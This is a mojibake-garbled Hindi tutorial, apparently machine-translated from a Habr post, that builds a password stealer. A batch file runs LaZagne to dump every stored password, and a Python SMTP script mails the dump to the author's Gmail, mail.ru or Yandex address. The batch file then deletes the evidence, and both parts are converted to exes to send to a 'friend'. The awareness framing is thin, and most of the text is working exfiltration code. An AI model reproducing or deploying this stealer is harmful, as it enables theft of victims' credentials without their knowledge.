рдИрдореЗрд▓ рдХреЗ рд╕рд╛рде рдкрд╛рдпрдерди рд╕реНрдЯрд┐рд▓рд░

рд╣рдо рдХреНрдпрд╛ рдХрд░реЗрдВрдЧреЗ?


рдирдорд╕реНрдХрд╛рд░, рдкрд╛рдардХ рдЖрдЬ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдЖрдкрдХреЛ рдЕрдЬреНрдЮрд╛рдд рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдЕрд╕рддреНрдпрд╛рдкрд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЦреЛрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рдирд╣реАрдВ рд╣реИ рдФрд░ рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЖрдкрдХреЗ рдкреАрд╕реА рдкрд░ рдпрд╣ рдХреНрдпрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдРрд╕реА рдлрд╛рдЗрд▓ рдмрдирд╛рдПрдВред рд╣рдо рдПрдХ рд╕реНрдЯрд╛рдЗрд▓рд░ рдмрдирд╛рдПрдВрдЧреЗ рдЬреЛ рд╣рдорд╛рд░реЗ рд╕рднреА рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХреЛ рдПрдХрддреНрд░ рдХрд░реЗрдЧрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдореЗрдВ рдореЗрд▓ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗрдЧрд╛ред


рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ?


рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА:


  1. рдЕрдЬрдЧрд░ 3.xx
  2. рдкрд╛рд╕рд╡рд░реНрдб рд░рд┐рдХрд╡рд░реА рдЯреВрд▓ (рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд▓рд╛рдЬрд╝реЗрди )
  3. рджреЛ Google рдЦрд╛рддреЗ

рдФрд░ рдЗрд╕рд▓рд┐рдП рд╣рдо рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, LaZagne рдЯреВрд▓ рдХреА .exe рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдорд╛рд░реА рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рд╕рд╛рде рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд░рдЦреЗрдВред рдЗрд╕рдХреЗ рдмрд╛рдж, рдХрд┐рд╕реА рднреА рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ .bat рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ (рдореЗрд░реЗ рдкрд╛рд╕ main.bat рд╣реЛрдЧрд╛) рдФрд░ рдПрдХ Send.py рдлрд╝рд╛рдЗрд▓ред


рд╣рдореЗрдВ рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП:


рдкрд░рд┐рдпреЛрдЬрдирд╛:


  • laZagne.exe
  • send.py
  • main.bat

рдПрдХ рдХреЛрдб рд▓рд┐рдЦрдирд╛


Main.bat рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ рдФрд░ рд╡рд╣рд╛рдВ рдХреЛрдб рдбрд╛рд▓реЗрдВ:


@Echo off laZagne.exe all > pass.txt 

рдЕрдм, рдЬрдм рдЖрдк рд╣рдорд╛рд░реА .bat рдлрд╝рд╛рдЗрд▓ рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдкрд╛рд╕ред Txt рдлрд╝рд╛рдЗрд▓ рд╣реЛрдЧреА рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдХреЗ рд╕рднреА рдкрд╛рд╕рд╡рд░реНрдб рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ (рдФрд░ рди рдХреЗрд╡рд▓) рд╣реЛрдВрдЧреЗред рдпрд╣ рдХреЗрд╡рд▓ рдореЗрд▓ рдкрд░ рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдиреА рд╣реБрдИ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рдХреИрд╕реЗ рдХрд░реЗрдВ?


рдореЗрд▓ рдкрд░ рднреЗрдЬрдирд╛

Send.py рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ рдФрд░ рдХреЛрдб рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ:


 import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========   ========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #====================================== _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files) 

рдЕрдм рдЖрдкрдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ рдЙрд╕ рд╕реЗрд╡рд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЬрд┐рд╕реЗ рдЖрдк рдореЗрд▓ рднреЗрдЬ рд░рд╣реЗ рд╣реИрдВ, рдЪрдпрдирд┐рдд рдХреЛрдб рдХреЛ рдмрджрд▓ рджреЗрдВ: Google (рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдХрдо рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ ):


 server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() 

mail.ru:


 server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit() 

Yandex:


 server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit() 

рдЦрддреНрдо .bat

рдЕрдм рд╣рдорд╛рд░реА .bat рдлрд╝рд╛рдЗрд▓ рдореЗрдВ, Send.py рдлрд╝рд╛рдЗрд▓ рд▓реЙрдиреНрдЪ рдХреЛрдб рдФрд░ pass.txt рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд▓реЛрдкрди рдЬреЛрдбрд╝реЗрдВ:


 send.py del /s "pass.txt" 

рд╕рднрд╛


рдЕрдм, main.bat рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдкрдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдЖрдкрдХреЗ рдореЗрд▓ рдкрд░ рднреЗрдЬ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдкрдиреЗ рдкрд╛рдпрдерди рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рднреА рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдЖрдкрдХреЛ рд╣рдорд╛рд░реА Send.py рдлрд╝рд╛рдЗрд▓ рдХреЛ exe рдореЗрдВ рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдВрд╕реЛрд▓ рдЦреЛрд▓реЗрдВ рдФрд░ рд▓рд┐рдЦреЗрдВ:


 pip install pyinstaller pyinstaller --onefile send.py 

рдлрд┐рд░ рднреА, рд╣рдореЗрдВ main.bat рдлрд╛рдЗрд▓ рдХреЛ main.exe рдореЗрдВ рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдмреИрдЯ рдЯреВ рдПрдХреНрд╕рдИ рдХрдиреНрд╡рд░реНрдЯрд░ рдЗрд╕рдореЗрдВ рд╣рдорд╛рд░реА рдорджрдж рдХрд░реЗрдЧрд╛ред рддреАрди рдбреЙрдЯреНрд╕ ("...") рд╡рд╛рд▓реЗ рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЕрдкрдиреА main.bat рдлрд╛рдЗрд▓ рдХреЛ рджреЗрдЦреЗрдВ, "Open" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, рдлрд┐рд░ "Convert" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдлрд╛рдЗрд▓ рдХреЛ main.exe рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред рдпреЗ рддреАрди рдлрд╛рдЗрд▓реЗрдВ рд╣рдорд╛рд░реА рд╕реНрдЯрд╛рдЗрд▓рд░ рд╣реИрдВ, рд╣рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ рджреЛрд╕реНрдд рдХреЛ рднреЗрдЬреЗрдВ рдФрд░ рдЖрдирдВрдж рд▓реЗрдВ рдкреНрд░рджрд░реНрд╢рди рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдХрд░реЗрдВред


рд╕рдВрджрд░реНрдн


Source: https://habr.com/ru/post/hi434356/


All Articles